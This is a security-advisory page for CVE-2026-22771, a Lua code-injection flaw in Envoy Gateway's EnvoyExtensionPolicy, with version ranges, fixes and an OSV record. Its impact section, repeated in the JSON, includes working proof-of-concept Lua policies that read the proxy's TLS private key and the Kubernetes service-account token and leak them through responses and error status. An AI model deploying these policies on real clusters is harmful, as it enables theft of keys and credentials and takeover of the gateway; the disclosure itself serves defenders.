CVE-2026-22771: Github.com/envoyproxy/gateway Envoy Extension Policy Lua Scripts Vulnerability

HIGH
Advisory Identifier: GHSA-xrwg-mqj6-6m22
CVSS 8.8
CWE-94
Published
Advisory Summary

CVE-2026-22771 is a HIGH (CVSS 8.8) envoy extension policy lua scripts vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Github.com/envoyproxy/gateway libraries in the Go ecosystem. The issue involves envoy extension policy lua scripts injection causes arbitrary command execution. Remediation is available by upgrading affected packages to version 1.6.2, 1.5.7.

CVE-2026-22771 at a Glance

CVE Identifier CVE-2026-22771
GHSA Identifier GHSA-xrwg-mqj6-6m22
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Github.com/envoyproxy/gateway
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-22771

To remediate this vulnerability, upgrade all affected Github.com/envoyproxy/gateway dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/envoyproxy/gateway fixed: 1.6.2
Upgrade github.com/envoyproxy/gateway to 1.6.2
github.com/envoyproxy/gateway fixed: 1.5.7
Upgrade github.com/envoyproxy/gateway to 1.5.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/envoyproxy/gateway

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-22771, inspect your project dependencies for Github.com/envoyproxy/gateway:

inspect dependencies for github.com/envoyproxy/gateway

Analyze the terminal output to locate any version of Github.com/envoyproxy/gateway in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Github.com/envoyproxy/gateway, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts: * An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope. * Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes. Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates. ```yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak spec: targetRefs: - group: gateway.networking.k8s.io kind: HTTPRoute name: leak lua: - type: Inline inline: | function envoy_on_response(response_handle) local cert = io.open("/certs/tls.crt", "r") local content if cert then content = cert:read("*all") cert:close() else content = "file-not-found" end local keyfile = io.open("/certs/tls.key", "r") local contentkey if keyfile then contentkey = keyfile:read("*all") keyfile:close() else contentkey = "file-not-found" end local keypair = contentkey .. "\n" .. content response_handle:body():setBytes(keypair) response_handle:headers():replace("content-length", tostring(#keypair)) response_handle:headers():replace("content-type", "text/plain") end ``` This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following `EnvoyExtensionPolicy` will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status. ```yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak spec: targetRefs: - group: gateway.networking.k8s.io kind: HTTPRoute name: backend lua: - type: Inline inline: | function envoy_on_response(response_handle) local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r") local content if token then content = token:read("*all") token:close() else content = "file-not-found" end io.write(content) error(content) end ``` Results in: ```yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak [...] status: ancestors: - ancestorRef: group: gateway.networking.k8s.io kind: Gateway name: eg namespace: default conditions: - lastTransitionTime: "..." message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0: failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625: in main chunk\n\t[G]: ?." ``` Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself. ### Patches The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution: * Runs Lua `Strict` validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods. * Renamed `Syntax` to `InsecureSyntax` validation mode to signify that in this validation mode Lua won't be validated for possible security gaps. * Supports a new `disableLua` option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code. ### Workarounds Envoy Gateway users can create Kubernetes RBAC rules (see [docs](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).

CVE-2026-22771 Affected Github.com/envoyproxy/gateway Versions

2 component(s)
Fixed Versions:
1.6.21.5.7
Product / Package Ecosystem Affected Versions Fixed Version
github.com/envoyproxy/gateway
Go
≥ 1.6.0-rc.0
< 1.6.2
1.6.2
github.com/envoyproxy/gateway
Go
< 1.5.7
1.5.7

References

Frequently Asked Questions

What is CVE-2026-22771?
CVE-2026-22771 is a security vulnerability in Github.com/envoyproxy/gateway involving Envoy Extension Policy lua scripts injection causes arbitrary command execution under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Github.com/envoyproxy/gateway versions are affected?
Affected versions include releases prior to 1.6.2, 1.5.7 across affected packages: github.com/envoyproxy/gateway.
What version fixes CVE-2026-22771?
Upgrading to 1.6.2, 1.5.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/envoyproxy/gateway affected?
Yes, github.com/envoyproxy/gateway is affected in releases prior to 1.6.2, 1.5.7. Upgrade your dependency to 1.6.2, 1.5.7 or later.
What is the CVSS score of CVE-2026-22771?
CVE-2026-22771 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-22771?
CVE-2026-22771 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Go dependencies for CVE-2026-22771?
Run the dependency tree command: 'inspect dependencies for github.com/envoyproxy/gateway'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xrwg-mqj6-6m22",
  "modified" : "2026-01-13T18:47:34Z",
  "published" : "2026-01-13T18:47:34Z",
  "aliases" : [ "CVE-2026-22771" ],
  "summary" : "Envoy Extension Policy lua scripts injection causes arbitrary command execution",
  "details" : "### Impact\nEnvoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts:\n* An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.\n* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes. \n\nLua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. \n\nFor example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.  \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n  name: lua-leak\nspec:\n  targetRefs:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      name: leak\n  lua:\n    - type: Inline\n      inline: |\n           function envoy_on_response(response_handle)\n             local cert = io.open(\"/certs/tls.crt\", \"r\")\n             local content\n             if cert then\n                content = cert:read(\"*all\")\n                cert:close()\n             else\n                content = \"file-not-found\"\n             end\n             local keyfile = io.open(\"/certs/tls.key\", \"r\")\n             local contentkey\n             if keyfile then\n                contentkey = keyfile:read(\"*all\")\n                keyfile:close()\n             else\n                contentkey = \"file-not-found\"\n             end\n             local keypair = contentkey .. \"\\n\" .. content\n             response_handle:body():setBytes(keypair)\n             response_handle:headers():replace(\"content-length\", tostring(#keypair))\n             response_handle:headers():replace(\"content-type\", \"text/plain\")\n           end\n```\n\nThis execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following `EnvoyExtensionPolicy` will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status. \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n  name: lua-leak\nspec:\n  targetRefs:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      name: backend\n  lua:\n    - type: Inline\n      inline: |\n        function envoy_on_response(response_handle)\n          local token = io.open(\"/var/run/secrets/kubernetes.io/serviceaccount/token\", \"r\")\n          local content\n          if token then\n             content = token:read(\"*all\")\n             token:close()\n          else\n             content = \"file-not-found\"\n          end\n          io.write(content)\n          error(content)\n        end\n```\n\nResults in:\n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n  name: lua-leak\n[...]\nstatus:\n  ancestors:\n    - ancestorRef:\n        group: gateway.networking.k8s.io\n        kind: Gateway\n        name: eg\n        namespace: default\n      conditions:\n        - lastTransitionTime: \"...\"\n          message: \"Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:\n        failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\\nstack\n        traceback:\\n\\t[G]: in function 'error'\\n\\t<string>:622: in function 'envoy_on_response'\\n\\t<string>:625:\n        in main chunk\\n\\t[G]: ?.\"\n```\n\nAttackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.  \n\n### Patches\nThe patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:\n* Runs Lua `Strict` validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.\n* Renamed `Syntax` to `InsecureSyntax` validation mode to signify that in this validation mode Lua won't be validated for possible security gaps.\n* Supports a new `disableLua` option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.\n\n### Workarounds\nEnvoy Gateway users can create Kubernetes RBAC rules (see [docs](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/envoyproxy/gateway"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.6.0-rc.0"
      }, {
        "fixed" : "1.6.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/envoyproxy/gateway"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22771"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/envoyproxy/gateway"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T18:47:34Z",
    "nvd_published_at" : "2026-01-12T19:16:03Z"
  }
}